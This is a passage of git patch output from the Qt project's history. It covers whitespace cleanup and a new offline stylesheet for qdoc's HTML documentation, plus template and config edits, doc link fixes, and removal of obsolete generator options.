.valuelist{} - .annotated td{ - padding: 3px 5px 3px 5px; - } - .obsolete{} - .compat{} - .flags{} - .qmlsummary{} - .qmlitem{} - .qmlproto{} - .qmlname{} - .qmlreadonly{} - .qmldefault{} - .qmldoc{} - .qt-style{} - .redFont{} - code{} - + } + + .alignedsummary{} + .propsummary{} + .memItemLeft{} + .memItemRight{ + padding:3px 15px 3px 0; + } + .bottomAlign{} + .highlightedCode + { + margin:10px; + } + .LegaleseLeft{} + .valuelist{} + .annotated td{ + padding: 3px 5px 3px 5px; + } + .obsolete{} + .compat{} + .flags{} + .qmlsummary{} + .qmlitem{} + .qmlproto{} + .qmlname{} + .qmlreadonly{} + .qmldefault{} + .qmldoc{} + .qt-style{} + .redFont{} + code{} + .wrap .content .toc ul { padding-left: 0px; } - .wrap .content .toc h3{ - border-bottom:0px; - margin-top:0px; - } - - .wrap .content .toc h3 a:hover{ - color:#00732F; - text-decoration:none; - } + .wrap .content .toc h3{ + border-bottom:0px; + margin-top:0px; + } + + .wrap .content .toc h3 a:hover{ + color:#00732F; + text-decoration:none; + } .wrap .content .toc .level2 @@ -1258,56 +1256,55 @@ } h3.fn, span.fn { - -moz-border-radius:7px 7px 7px 7px; - -webkit-border-radius:7px 7px 7px 7px; - border-radius:7px 7px 7px 7px; + -moz-border-radius:7px 7px 7px 7px; + -webkit-border-radius:7px 7px 7px 7px; + border-radius:7px 7px 7px 7px; background-color: #F6F6F6; border-width: 1px; border-style: solid; border-color: #E6E6E6; font-weight: bold; - word-spacing:3px; - padding:3px 5px; - } - - .functionIndex { - font-size:12pt; - word-spacing:10px; - margin-bottom:10px; - background-color: #F6F6F6; - border-width: 1px; - border-style: solid; - border-color: #E6E6E6; - -moz-border-radius: 7px 7px 7px 7px; - -webkit-border-radius: 7px 7px 7px 7px; - border-radius: 7px 7px 7px 7px; - width:100%; - } - - .centerAlign - { - text-align:center; - } - - .rightAlign - { - text-align:right; - } - - - .leftAlign - { - text-align:left; - } - - .topAlign{ - vertical-align:top - } - - .functionIndex a{ - display:inline-block; - } - + word-spacing:3px; + padding:3px 5px; + } + + .functionIndex { + font-size:12pt; + word-spacing:10px; + margin-bottom:10px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + width:100%; + } + + .centerAlign + { + text-align:center; + } + + .rightAlign + { + text-align:right; + } + + .leftAlign + { + text-align:left; + } + + .topAlign{ + vertical-align:top + } + + .functionIndex a{ + display:inline-block; + } + /* end content elements */ /* footer elements */ @@ -1324,7 +1321,7 @@ .small { font: normal 9px/1 Verdana; - } + } /* end footer elements */ @@ -1334,7 +1331,7 @@ .indexbox { width: 100%; - display:inline-block; + display:inline-block; } .indexboxcont @@ -1354,7 +1351,7 @@ .indexboxcont .section { display: inline-block; - width: 49%; + width: 49%; *width:42%; _width:42%; padding:0 2% 0 1%; @@ -1364,7 +1361,7 @@ .indexboxcont .indexIcon { - width: 11%; + width: 11%; *width:18%; _width:18%; overflow:hidden; @@ -1383,8 +1380,8 @@ .indexboxcont .sectionlist { display: inline-block; - vertical-align:top; - width: 32.5%; + vertical-align:top; + width: 32.5%; padding: 0; } .indexboxcont .sectionlist ul @@ -1413,17 +1410,16 @@ color: #00732f; text-decoration: none; } - - .indexbox .indexIcon { - width: 11%; - } - + .indexbox .indexIcon { + width: 11%; + } + .indexbox .indexIcon span { display: block; } - + .indexbox.guide .indexIcon span { width: 96px; @@ -1431,7 +1427,7 @@ background: url(../images/sprites-combined.png) no-repeat -5px -376px; padding: 0; } - + .indexbox.tools .indexIcon span { width: 115px; @@ -1447,56 +1443,55 @@ clear: both; visibility: hidden; } - + /* start of creator spec*/ - .creator - { - margin-left:0px; - margin-right:0px; - padding-left:0px; - padding-right:0px; - } - .creator .wrap .content ol li { - list-style-type:decimal; - - } + .creator + { + margin-left:0px; + margin-right:0px; + padding-left:0px; + padding-right:0px; + } + .creator .wrap .content ol li { + list-style-type:decimal; + } .creator .header .icon, - .creator .feedback, - .creator .t_button, .creator .feedback, - .creator #feedbackBox, - .creator #feedback, - .creator #blurpage, - /*.creator .indexbox .indexIcon span,*/ - .creator .wrapper .hd, -/* .creator .indexbox .indexIcon,*/ - .creator .header #nav-logo, - .creator #offlinemenu, - .creator #offlinesearch, - .creator .header #nav-topright, + .creator .t_button, + .creator .feedback, + .creator #feedbackBox, + .creator #feedback, + .creator #blurpage, + /* .creator .indexbox .indexIcon span,*/ + .creator .wrapper .hd, + /* .creator .indexbox .indexIcon,*/ + .creator .header #nav-logo, + .creator #offlinemenu, + .creator #offlinesearch, + .creator .header #nav-topright, .creator .header #shortCut , - .creator .wrapper .hd, + .creator .wrapper .hd, .creator .wrapper .ft, - .creator .sidebar, - .creator .wrap .feedback + .creator .sidebar, + .creator .wrap .feedback { - display:none; + display:none; } - - body.creator + + body.creator { - background: none; + background: none; font: normal 13px/1.2 Verdana; color: #363534; - background-color: #FAFAFA; + background-color: #FAFAFA; } - .wrap .content ol li { - - } + .wrap .content ol li { + + } .creator .header, .creator .footer, .creator .wrapper @@ -1505,16 +1500,15 @@ margin: 0px; } - .creator .wrapper + .creator .wrapper { - position:relative; - top:5px; + position:relative; + top:5px; } .creator .wrapper .bd - { - - background:#FFFFFF; - } + { + background:#FFFFFF; + } .creator .header, .footer @@ -1532,81 +1526,76 @@ .creator .header .qtref span { - background:none; - } - + background:none; + } - - .creator .footer + .creator .footer { - border-top:1px solid #E5E5E5; + border-top:1px solid #E5E5E5; height: 50px; - margin:0px; - padding:10px; + margin:0px; + padding:10px; } - - .creator .footer p - { - text-align:justify; - max-width:900px; - } - - .creator .wrap + + .creator .footer p { + text-align:justify; + max-width:900px; + } + .creator .wrap + { padding:0 5px 0 5px; - margin: 0px; + margin: 0px; } .creator .wrap .toolbar { - - - border-bottom:1px solid #E5E5E5; - /*width:100%;*/ - margin-left:-5px; - margin-right:-5px; - } + border-bottom:1px solid #E5E5E5; + /*width:100%;*/ + margin-left:-5px; + margin-right:-5px; + } .creator .wrap .breadcrumb ul li a { /* color: #363534;*/ color: #00732F; - } - + } + .creator .wrap .content { padding: 0px; - word-wrap:break-word; + word-wrap:break-word; } - - .creator .wrap .content ol li { - background:none; - font: inherit; + + .creator .wrap .content ol li { + background:none; + font: inherit; padding-left: 0px; - } - - .creator .wrap .content .descr ol li { - margin-left: 45px; + } + .creator .wrap .content .descr ol li { + margin-left: 45px; } + .creator .content .alignedsummary { margin: 5px; - width:100%; - } - .creator .generic{ - max-width:75%; - } - .creator .generic td{ - /*padding:0;*/ - } + width:100%; + } + .creator .generic{ + max-width:75%; + } + .creator .generic td{ + /*padding:0;*/ + } .creator .indexboxbar { - border-bottom:1px solid #E5E5E5; + border-bottom:1px solid #E5E5E5; margin-bottom: 25px; - background: none; + background: none; } - - + + .creator .header { @@ -1616,17 +1605,9 @@ background-color: #ffffff; padding: 10px 0 5px 0; overflow: visible; - border-bottom: solid #E5E5E5 1px; - z-index:1; - - - - - - - - - /* position:fixed;*/ + border-bottom: solid #E5E5E5 1px; + z-index:1; + /* position:fixed;*/ } @@ -1645,17 +1626,17 @@ .creator .header .qtref:visited { color: #00732F; - } + } .creator .header .qtref:hover { color: #00732F; - text-decoration:none; - } + text-decoration:none; + } .creator .header .qtref span { background-image: none; text-indent: 0; - text-decoration:none; + text-decoration:none; } @@ -1666,7 +1647,7 @@ .creator .wrap .toolbar { display:block; - padding-top:0px; + padding-top:0px; } @@ -1682,80 +1663,80 @@ .creator .wrap .breadcrumb ul li.last a { /*color: #363534;*/ } - - .creator #narrowmenu ul - { - border-bottom:solid 1px #E5E5E5; - border-left:solid 1px #E5E5E5; - border-right:solid 1px #E5E5E5; - } + + .creator #narrowmenu ul + { + border-bottom:solid 1px #E5E5E5; + border-left:solid 1px #E5E5E5; + border-right:solid 1px #E5E5E5; + } .creator #narrowmenu li ul { margin-top:-15px; - } + } + + .creator .toc { + margin:10px 20px 10px 10px; + } - .creator .toc { - margin:10px 20px 10px 10px; - } - - .creator #narrowsearch, .creator #narrowmenu{ - display:none; - } + .creator #narrowsearch, .creator #narrowmenu{ + display:none; + } /* end of creator spec*/ - - .item { - float: left; - position: relative; - width: 100%; - overflow: hidden; - } - - - .item .primary { - margin-right: 220px; - position: relative; - } - - .item hr { - margin-left: -220px; - } - - .item .secondary { - float: right; - width: 200px; - position: relative; - } - - .item .cols { - clear: both; - display: block; - } - - .item .cols .col { - float: left; - margin-left: 1.5%; - } - - .item .cols .col.first { - margin-left: 0; - } - - .item .cols.two .col { - width: 45%; - } - - .item .box { - margin: 0 0 10px 0; - } - - .item .box h3 { - margin: 0 0 10px 0; - } - - .cols.unclear { - clear:none; - } + + .item { + float: left; + position: relative; + width: 100%; + overflow: hidden; + } + + + .item .primary { + margin-right: 220px; + position: relative; + } + + .item hr { + margin-left: -220px; + } + + .item .secondary { + float: right; + width: 200px; + position: relative; + } + + .item .cols { + clear: both; + display: block; + } + + .item .cols .col { + float: left; + margin-left: 1.5%; + } + + .item .cols .col.first { + margin-left: 0; + } + + .item .cols.two .col { + width: 45%; + } + + .item .box { + margin: 0 0 10px 0; + } + + .item .box h3 { + margin: 0 0 10px 0; + } + + .cols.unclear { + clear:none; + } } /* end of screen media */ @@ -1773,8 +1754,7 @@ { background: none; display: block; - width: 100%; margin: 0; float: none; - + width: 100%; margin: 0; float: none; } } /* end of print media */ diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf index c9c02ea..623e4a9 100644 --- a/tools/qdoc3/test/qt-html-default-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -19,7 +19,7 @@ extraimages.HTML = qt-logo.png \ bullet_up.png \ horBar.png \ sprites-combined.png - + # Include the style sheets and scripts used. HTML.headerstyles = \ -- cgit v0.12 From 26e9a288886978a8f38e9385d8d6011fdbfbebe7 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 20:38:39 +0100 Subject: Doc: Fixed broken links. --- doc/src/development/developing-with-qt.qdoc | 8 +++----- doc/src/index.qdoc | 10 +++++----- doc/src/overviews.qdoc | 4 ++-- 3 files changed, 10 insertions(+), 12 deletions(-) diff --git a/doc/src/development/developing-with-qt.qdoc b/doc/src/development/developing-with-qt.qdoc index 6793abd..72073e8 100644 --- a/doc/src/development/developing-with-qt.qdoc +++ b/doc/src/development/developing-with-qt.qdoc @@ -28,7 +28,7 @@ /*! \page developing-with-qt.html - \title Cross-platform & Platform-specific Development + \title Cross-Platform and Platform-Specific Development Qt allows you to write advanced applications and UIs once, and deploy them across desktop and embedded operating systems without rewriting the source code. The top section of this page provides an overview of the tools and @@ -37,7 +37,7 @@ links to documents that describe platform-specific features provided by Qt, and discuss issues related to particular platforms and environments. - \section1 Cross-platform Development with Qt + \section1 Cross-Platform Development with Qt Qt is provided with a set of build tools to help developers automate the process of building and installing Qt applications. @@ -68,7 +68,7 @@ \endlist \endtable - \section1 Platform-specific Development with Qt + \section1 Platform-Specific Development with Qt These documents describe platform-specific features provided by Qt, and discuss issues related to particular platforms and environments. @@ -110,6 +110,4 @@ \o Collections of notes about Qt implementations on different window systems. \endlist \endtable - - */ diff --git a/doc/src/index.qdoc b/doc/src/index.qdoc index aefbea1..4aec230 100644 --- a/doc/src/index.qdoc +++ b/doc/src/index.qdoc @@ -72,11 +72,11 @@ \enddiv \div {sectionlist tricol} \list - \o \l{qt-basic-concepts.html}{Programming with Qt} - \o \l{qt-gui-concepts.html}{UI Design with Qt} - \o \l{developing-with-qt.html}{Cross-platform and Platform-specific} - \o \l{technology-apis.html}{Qt and Key Technologies} - \o \l{best-practices.html}{Best Practices Guides} + \o \l{Programming with Qt} + \o \l{UI Design with Qt} + \o \l{Cross-Platform and Platform-Specific Development} + \o \l{Qt and Key Technologies} + \o \l{Best Practice Guides} \endlist \enddiv \div {sectionlist} diff --git a/doc/src/overviews.qdoc b/doc/src/overviews.qdoc index b9bd3b4..a411aa2 100644 --- a/doc/src/overviews.qdoc +++ b/doc/src/overviews.qdoc @@ -122,9 +122,9 @@ /*! \group best-practices - \title Best Practices Guides + \title Best Practice Guides - \brief How-To Guides and Best Practices + \brief How-To and Best Practice Guides These documents provide guidelines and best practices for using Qt to solve specific technical problems. They are listed -- cgit v0.12 From 144ea56ae4c76cba0e89dc78356df2cac3783ef5 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 20:40:45 +0100 Subject: Doc: Fixed whitespace. --- doc/src/template/style/style.css | 75 ++++++++-------------------------------- 1 file changed, 14 insertions(+), 61 deletions(-) diff --git a/doc/src/template/style/style.css b/doc/src/template/style/style.css index 4f9e26c..451d6bf 100755 --- a/doc/src/template/style/style.css +++ b/doc/src/template/style/style.css @@ -2,7 +2,7 @@ { /* basic elements */ - html + html { color: #000000; background: #FFFFFF; @@ -210,8 +210,6 @@ { color: black } - - /* end basic elements */ /* font style elements */ @@ -255,8 +253,8 @@ clear: both; visibility: hidden; } - /* end global settings*/ + /* header elements */ .header { @@ -341,7 +339,6 @@ background-position: -2px -117px; } - #nav-topright li.nav-topright-dev a { width: 30px; @@ -416,7 +413,6 @@ overflow: hidden; } - .shortCut-topleft-inactive { padding-left: 3px; @@ -460,10 +456,8 @@ { color: #44a51c; } - - - /* end header elements */ + /* content and sidebar elements */ .wrapper { @@ -477,9 +471,6 @@ overflow: hidden; } - - - .wrapper .hd span { height: 15px; @@ -493,9 +484,6 @@ position: relative; } - - - .wrapper .ft { padding-left: 216px; @@ -504,9 +492,6 @@ overflow: hidden; } - - - .wrapper .ft span { height: 15px; @@ -519,10 +504,8 @@ display:block; padding-right:15px; } - - - /* end content and sidebar elements */ + /* sidebar elements */ .sidebar { @@ -532,11 +515,6 @@ font-size: 11px; } - - - - - .sidebar .searchlabel { padding: 0 0 2px 17px; @@ -766,8 +744,8 @@ } .floatingResult:hover{ } - /* end sidebar elements */ + /* content elements */ .wrap { @@ -775,9 +753,6 @@ overflow: visible; } - - - .wrap .toolbar { background-color: #fafafa; @@ -864,7 +839,6 @@ color: #00732F; } - .wrap .content { padding: 30px; @@ -897,9 +871,6 @@ margin-left: 0; } - - - .wrap .content ol li { background:none; font:normal 10pt/1.2 Verdana; @@ -1304,11 +1275,10 @@ .functionIndex a{ display:inline-block; } - /* end content elements */ -/* footer elements */ - .footer +/* footer elements */ + .footer { min-height: 100px; color: #797775; @@ -1318,15 +1288,12 @@ background-color: #E6E7E8; margin: 0; } - .small + .small { font: normal 9px/1 Verdana; } /* end footer elements */ - - - /* start index box */ .indexbox { @@ -1356,8 +1323,7 @@ _width:42%; padding:0 2% 0 1%; vertical-align:top; - -} + } .indexboxcont .indexIcon { @@ -1365,12 +1331,11 @@ *width:18%; _width:18%; overflow:hidden; + } -} - -.indexboxcont .section { - float: left; -} + .indexboxcont .section { + float: left; + } .indexboxcont .section p { @@ -1511,7 +1476,7 @@ } - .creator .header, .footer + .creator .header, .footer { display: block; clear: both; @@ -1595,8 +1560,6 @@ background: none; } - - .creator .header { width: 100%; @@ -1610,7 +1573,6 @@ /* position:fixed;*/ } - .creator .header .content { } @@ -1639,19 +1601,12 @@ text-decoration:none; } - - - - - .creator .wrap .toolbar { display:block; padding-top:0px; } - - .creator .wrap .breadcrumb ul li { font-weight: normal; } @@ -1675,7 +1630,6 @@ margin-top:-15px; } - .creator .toc { margin:10px 20px 10px 10px; } @@ -1692,7 +1646,6 @@ overflow: hidden; } - .item .primary { margin-right: 220px; position: relative; -- cgit v0.12 From ca56f3a1797d735048fcb8b1e2b4aede75db8f89 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 20:45:08 +0100 Subject: Updated the offline template to use a new offline style sheet. --- doc/src/template/style/offline.css | 662 +++++++++++++++++++++++ tools/qdoc3/test/qt-html-default-styles.qdocconf | 6 +- tools/qdoc3/test/qt-html-templates.qdocconf | 21 +- 3 files changed, 672 insertions(+), 17 deletions(-) create mode 100644 doc/src/template/style/offline.css diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css new file mode 100644 index 0000000..4a10d0a --- /dev/null +++ b/doc/src/template/style/offline.css @@ -0,0 +1,662 @@ +@media screen +{ + +/* basic elements */ + html + { + color: #000000; + background: #FFFFFF; + } + table + { + border-collapse: collapse; + border-spacing: 0; + } + fieldset, img + { + border: 0; + max-width:100%; + } + address, caption, cite, code, dfn, em, strong, th, var, optgroup + { + font-style: inherit; + font-weight: inherit; + } + del, ins + { + text-decoration: none; + } + li + { + list-style: none; + } + ol li + { + list-style: decimal; + } + caption, th + { + text-align: left; + } + h1, h2, h3, h4, h5, h6 + { + font-size: 100%; + } + q:before, q:after + { + content: ''; + } + abbr, acronym + { + border: 0; + font-variant: normal; + } + sup, sub + { + vertical-align: baseline; + } + tt, .qmlreadonly span, .qmldefault span + { + word-spacing:0.5em; + } + legend + { + color: #000000; + } + strong + { + font-weight: bold; + } + em + { + font-style: italic; + } + + /* adding Qt theme */ + body + { + margin-left: 0.5em; + margin-right: 0.5em + } + a + { + color: #00732F; + text-decoration: none; + } + hr + { + background-color: #E6E6E6; + border: 1px solid #E6E6E6; + height: 1px; + width: 100%; + text-align: left; + margin: 1.5em 0 1.5em 0; + } + + pre + { + border: 1px solid #DDDDDD; + -moz-border-radius: 0.7em 0.7em 0.7em 0.7em; + -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em; + border-radius: 0.7em 0.7em 0.7em 0.7em; + margin: 0 1.5em 1em 1em; + padding: 1em 1em 1em 1em; + overflow-x: auto; + } + table, pre + { + -moz-border-radius: 0.7em 0.7em 0.7em 0.7em; + -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em; + border-radius: 0.7em 0.7em 0.7em 0.7em; + background-color: #F6F6F6; + border: 1px solid #E6E6E6; + border-collapse: separate; + font-size: 110%; + margin-bottom: 2.5em; + } + pre { + font-size: 90%; + display: block; + overflow:hidden; + } + thead + { + margin-top: 0.5em; + font-weight: bold + } + th + { + padding: 0.5em 1.5em 0.5em 1.5em; + background-color: #E1E1E1; + border-left: 1px solid #E6E6E6; + } + td + { + padding: 0.25em 1.5em 0.25em 2em; + } + + td.rightAlign + { + padding: 0.25em 0.5em 0.25em 1em; + } + table tr.odd + { + border-left: 1px solid #E6E6E6; + background-color: #F6F6F6; + color: #66666E; + } + table tr.even + { + border-left: 1px solid #E6E6E6; + background-color: #ffffff; + color: #66666E; + } + + div.float-left + { + float: left; margin-right: 2em + } + div.float-right + { + float: right; margin-left: 2em + } + + span.comment + { + color: #008B00; + } + span.string, span.char + { + color: #000084; + } + span.number + { + color: #a46200; + } + span.operator + { + color: black; + } + span.keyword + { + color: #840000; + } + span.name + { + color: black + } +/* end basic elements */ + +/* font style elements */ + .heading + { + font-weight: bold; + font-size: 160%; + } + .subtitle + { + font-size: 130% + } + .small-subtitle + { + font-size: 130% + } + .red + { + color:red; + } +/* end font style elements */ + +/* global settings*/ + .header, .footer + { + display: block; + clear: both; + overflow: hidden; + } +/* end global settings*/ + +/* header elements */ + .header .qtref + { + color: #00732F; + font-weight: bold; + font-size: 180%; + } + + .header .content + { + margin-bottom: 0.5em + } + + .naviNextPrevious + { + display: none + } + .header .breadcrumb + { + font-size: 90%; + padding: 0.5em 0 0.5em 1em; + margin: 0; + background-color: #fafafa; + height: 1.35em; + border-bottom: 1px solid #d1d1d1; + } + + .header .breadcrumb ul + { + margin: 0; + padding: 0; + } + + .header .content + { + word-wrap: break-word; + } + + .header .breadcrumb ul li + { + float: left; + background: url(../images/breadcrumb.png) no-repeat 0 3px; + padding-left: 1.5em; + margin-left: 1.5em; + } + + .header .breadcrumb ul li.last + { + font-weight: normal; + } + + .header .breadcrumb ul li a + { + color: #00732F; + } + + .header .breadcrumb ul li.first + { + background-image: none; + padding-left: 0; + margin-left: 0; + } + + .header .content ol li { + background: none; + margin-bottom: 1.0em; + margin-left: 1.2em; + padding-left: 0 + } + + .header .content li + { + background: url(../images/bullet_sq.png) no-repeat 0 5px; + margin-bottom: 1em; + padding-left: 1.2em; + } + +/* end header elements */ + +/* content elements */ + .content h1 + { + font-weight: bold; + font-size: 180% + } + + .content h2 + { + font-weight: bold; + font-size: 160%; + width: 100%; + } + .content h3 + { + font-weight: bold; + font-size: 1.4em; + width: 100%; + } + .content table p + { + margin: 0 + } + .content ul + { + padding-left: 2.5em; + } + .content li + { + padding-top: 0.25em; + padding-bottom: 0.25em; + } + .content ul img { + vertical-align: middle; + } + + .content a:visited + { + color: #4c0033; + text-decoration: none; + } + + .content a:visited:hover + { + color: #4c0033; + text-decoration: underline; + } + + a:hover + { + color: #4c0033; + text-decoration: underline; + } + descr p a + { + text-decoration: underline; + } + + .descr p a:visited + { + text-decoration: underline; + } + + .alphaChar{ + width:95%; + background-color:#F6F6F6; + border:1px solid #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + font-size:12pt; + padding-left:10px; + margin-top:10px; + margin-bottom:10px; + } + .flowList{ + /*vertical-align:top;*/ + /*margin:20px auto;*/ + + column-count:3; + -webkit-column-count:3; + -moz-column-count:3; +/* + column-width:100%; + -webkit-column-width:200px; + -col-column-width:200px; +*/ + column-gap:41px; + -webkit-column-gap:41px; + -moz-column-gap:41px; + + column-rule: 1px dashed #ccc; + -webkit-column-rule: 1px dashed #ccc; + -moz-column-rule: 1px dashed #ccc; + } + + .flowList dl{ + } + .flowList dd{ + /*display:inline-block;*/ + margin-left:10px; + min-width:250px; + line-height: 1.5; + min-width:100%; + min-height:15px; + } + + .flowList dd a{ + } + + .content .flowList p{ + padding:0px; + } + + .content .alignedsummary + { + margin: 15px; + } + + + .qmltype + { + text-align: center; + font-size: 160%; + } + .qmlreadonly + { + padding-left: 5px; + float: right; + color: #254117; + } + + .qmldefault + { + padding-left: 5px; + float: right; + color: red; + } + + .qmldoc + { + } + + .generic .alphaChar{ + margin-top:5px; + } + + .generic .odd .alphaChar{ + background-color: #F6F6F6; + } + + .generic .even .alphaChar{ + background-color: #FFFFFF; + } + + .memItemRight{ + padding: 0.25em 1.5em 0.25em 0; + } + .highlightedCode + { + margin: 1.0em; + } + .annotated td { + padding: 0.25em 0.5em 0.25em 0.5em; + } + + .header .content .toc ul + { + padding-left: 0px; + } + + .content .toc h3 { + border-bottom: 0px; + margin-top: 0px; + } + + .content .toc h3 a:hover { + color: #00732F; + text-decoration: none; + } + + .content .toc .level2 + { + margin-left: 1.5em; + } + + .content .toc .level3 + { + margin-left: 3.0em; + } + + .content ul li + { + background: url(../images/bullet_sq.png) no-repeat 0 0.7em; + padding-left: 1em + } + + .content .toc li + { + background: url(../images/bullet_dn.png) no-repeat 0 5px; + padding-left: 1em + } + + .relpage + { + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + border: 1px solid #DDDDDD; + padding: 25px 25px; + clear: both; + } + .relpage ul + { + float: none; + padding: 1.5em; + } + + h3.fn, span.fn + { + -moz-border-radius:7px 7px 7px 7px; + -webkit-border-radius:7px 7px 7px 7px; + border-radius:7px 7px 7px 7px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + font-weight: bold; + word-spacing:3px; + padding:3px 5px; + } + + .functionIndex { + font-size:12pt; + word-spacing:10px; + margin-bottom:10px; + background-color: #F6F6F6; + border-width: 1px; + border-style: solid; + border-color: #E6E6E6; + -moz-border-radius: 7px 7px 7px 7px; + -webkit-border-radius: 7px 7px 7px 7px; + border-radius: 7px 7px 7px 7px; + width:100%; + } + + .centerAlign + { + text-align:center; + } + + .rightAlign + { + text-align:right; + } + + .leftAlign + { + text-align:left; + } + + .topAlign{ + vertical-align:top + } + + .functionIndex a{ + display:inline-block; + } + +/* end content elements */ +/* footer elements */ + + .footer + { + color: #393735; + font-size: 0.75em; + text-align: center; + padding-top: 1.5em; + padding-bottom: 1em; + background-color: #E6E7E8; + margin: 0; + } + .footer p + { + margin: 0.25em + } + .small + { + font-size: 0.75em; + } +/* end footer elements */ + + .item { + float: left; + position: relative; + width: 100%; + overflow: hidden; + } + + + .item .primary { + margin-right: 220px; + position: relative; + } + + .item hr { + margin-left: -220px; + } + + .item .secondary { + float: right; + width: 200px; + position: relative; + } + + .item .cols { + clear: both; + display: block; + } + + .item .cols .col { + float: left; + margin-left: 1.5%; + } + + .item .cols .col.first { + margin-left: 0; + } + + .item .cols.two .col { + width: 45%; + } + + .item .box { + margin: 0 0 10px 0; + } + + .item .box h3 { + margin: 0 0 10px 0; + } + + .cols.unclear { + clear:none; + } +} + +/* end of screen media */ + +/* start of print media */ + +@media print +{ + input, textarea, .header, .footer, .toolbar, .feedback, .wrapper .hd, .wrapper .bd .sidebar, .wrapper .ft, #feedbackBox, #blurpage, .toc, .breadcrumb, .toolbar, .floatingResult + { + display: none; + background: none; + } + .content + { + background: none; + display: block; + width: 100%; margin: 0; float: none; + } +} +/* end of print media */ diff --git a/tools/qdoc3/test/qt-html-default-styles.qdocconf b/tools/qdoc3/test/qt-html-default-styles.qdocconf index 623e4a9..d37ef5d 100644 --- a/tools/qdoc3/test/qt-html-default-styles.qdocconf +++ b/tools/qdoc3/test/qt-html-default-styles.qdocconf @@ -4,7 +4,7 @@ HTML.templatedir = $QT_SOURCE_TREE/doc/src/template -HTML.stylesheets = style/style.css +HTML.stylesheets = style/offline.css HTML.scripts = @@ -23,10 +23,10 @@ extraimages.HTML = qt-logo.png \ # Include the style sheets and scripts used. HTML.headerstyles = \ - " \n" + " \n" HTML.headerscripts = HTML.endheader = \ "\n" \ - "\n" + "\n" diff --git a/tools/qdoc3/test/qt-html-templates.qdocconf b/tools/qdoc3/test/qt-html-templates.qdocconf index 8241fa0..12588f9 100644 --- a/tools/qdoc3/test/qt-html-templates.qdocconf +++ b/tools/qdoc3/test/qt-html-templates.qdocconf @@ -1,26 +1,19 @@ include(qt-html-default-styles.qdocconf) HTML.postheader = \ - "
    \n" \ + "
    \n" \ "
    \n" \ - "
    \n" \ - " Home\n" \ - "
    \n" \ " Qt Reference Documentation\n" \ "
    \n" \ - "
    \n" \ - "
    \n" \ - "
    \n" \ - "
      \n" \ - "
    • Home
    • \n" \ - " \n" + "
      \n" \ + "
        \n" \ + "
      • Home
      • \n" \ + " \n" HTML.postpostheader = \ - "
      \n" \ - "
      \n" \ - "
    \n" \ + " \n" \ "
    \n" \ - "
    \n" \ + "
    \n" \ "
    \n" HTML.footer = \ -- cgit v0.12 From 02c548c7a38c627b12e84ff164a406cc478f8658 Mon Sep 17 00:00:00 2001 From: David Boddie Date: Fri, 17 Dec 2010 20:46:11 +0100 Subject: Removed obsolete configuration options. --- tools/qdoc3/htmlgenerator.cpp | 6 ------ tools/qdoc3/htmlgenerator.h | 4 ---- 2 files changed, 10 deletions(-) diff --git a/tools/qdoc3/htmlgenerator.cpp b/tools/qdoc3/htmlgenerator.cpp index 948a7d6..ebc2713 100644 --- a/tools/qdoc3/htmlgenerator.cpp +++ b/tools/qdoc3/htmlgenerator.cpp @@ -270,12 +270,6 @@ void HtmlGenerator::initializeGenerator(const Config &config) postPostHeader = config.getString(HtmlGenerator::format() + Config::dot + HTMLGENERATOR_POSTPOSTHEADER); - creatorPostHeader = config.getString(HtmlGenerator::format() + - Config::dot + - HTMLGENERATOR_CREATORPOSTHEADER); - creatorPostPostHeader = config.getString(HtmlGenerator::format() + - Config::dot + - HTMLGENERATOR_CREATORPOSTPOSTHEADER); footer = config.getString(HtmlGenerator::format() + Config::dot + HTMLGENERATOR_FOOTER); diff --git a/tools/qdoc3/htmlgenerator.h b/tools/qdoc3/htmlgenerator.h index 8b5c50b..f5d2427 100644 --- a/tools/qdoc3/htmlgenerator.h +++ b/tools/qdoc3/htmlgenerator.h @@ -269,8 +269,6 @@ class HtmlGenerator : public PageGenerator QString endHeader; QString postHeader; QString postPostHeader; - QString creatorPostHeader; - QString creatorPostPostHeader; QString footer; QString address; bool pleaseGenerateMacRef; @@ -309,8 +307,6 @@ class HtmlGenerator : public PageGenerator #define HTMLGENERATOR_GENERATEMACREFS "generatemacrefs" // ### document me #define HTMLGENERATOR_POSTHEADER "postheader" #define HTMLGENERATOR_POSTPOSTHEADER "postpostheader" -#define HTMLGENERATOR_CREATORPOSTHEADER "postheader" -#define HTMLGENERATOR_CREATORPOSTPOSTHEADER "postpostheader" QT_END_NAMESPACE -- cgit v0.12 From 3fe6eab1e6e451457b9c060b6b643b86d3f82557 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 20 Dec 2010 12:07:22 +1000 Subject: Fix spelling in declarative autotests Task-number: Reviewed-by: Martin Jones --- .../qdeclarativeecmascript/data/nonExistantAttachedObject.qml | 5 ----- .../qdeclarativeecmascript/data/nonExistentAttachedObject.qml | 5 +++++ .../qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp | 8 ++++---- .../qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp | 2 +- .../declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp | 6 +++--- 5 files changed, 13 insertions(+), 13 deletions(-) delete mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml create mode 100644 tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml deleted file mode 100644 index f9585db..0000000 --- 